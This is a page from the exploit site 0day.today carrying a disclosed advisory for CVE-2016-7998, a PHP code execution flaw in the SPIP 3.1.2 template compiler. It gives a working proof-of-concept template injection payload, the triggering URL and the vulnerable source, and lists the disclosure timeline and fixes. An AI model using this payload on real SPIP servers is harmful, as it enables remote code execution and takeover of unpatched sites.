0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SPIP 3.1.2 Template Compiler / Composer PHP Code Execution
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998) ### Product Description SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence. ### Vulnerability Description The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user. This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory. **Access Vector**: remote **Security Risk**: critical **Vulnerability**: CWE-94 **CVSS Base Score**: 9.1 (Critical) **CVE-ID**: CVE-2016-7998 ### Proof of Concept Store a `.html` file in a random directory with the following content : <INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)> Then you can access to the following URL, with the `var_url` paramater pointing to the path corresponding to your uploaded file: http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html The PHP code `system("touch /tmp/exploited");` will be executed after 2 requests. This happens because the template file is included (if already compiled) by `ecrire/public/composer.php`, line 60 : if (!squelette_obsolete($phpfile, $source)) { include_once $phpfile; and because we can "exit" the function generated by the template compiler (improper sanitization when generating argumenter_squelette): function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) { if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"])) $doublons = nettoyer_env_doublons($Pile[0]["doublons"]); $connect = ''; $page = ( '<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect")); ?'.'> '); return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html'); } Therefore, the vulnerability leads to arbitrary PHP code execution. ### Vulnerable code The vulnerable code is located in the `argumenter_inclure` function (`ecrire/public/compiler.php`), line 123. if ($var !== 1) { $val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ") . $val . ($echap ? ") . '" : " "); } ### Timeline (dd/mm/yyyy) * 15/09/2016 : Initial discovery * 26/09/2016 : Contact with SPIP Team * 27/09/2016 : Answer from SPIP Team, sent advisory details * 27/09/2016 : Fixes issued for PHP Code Execution * 30/09/2016 : SPIP 3.1.3 Released ### Fixes * https://core.spip.net/projects/spip/repository/revisions/23186 * https://core.spip.net/projects/spip/repository/revisions/23189 * https://core.spip.net/projects/spip/repository/revisions/23192 ### Affected versions * Version <= 3.1.2 ### Credits * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com) # 0day.today [2024-07-05] #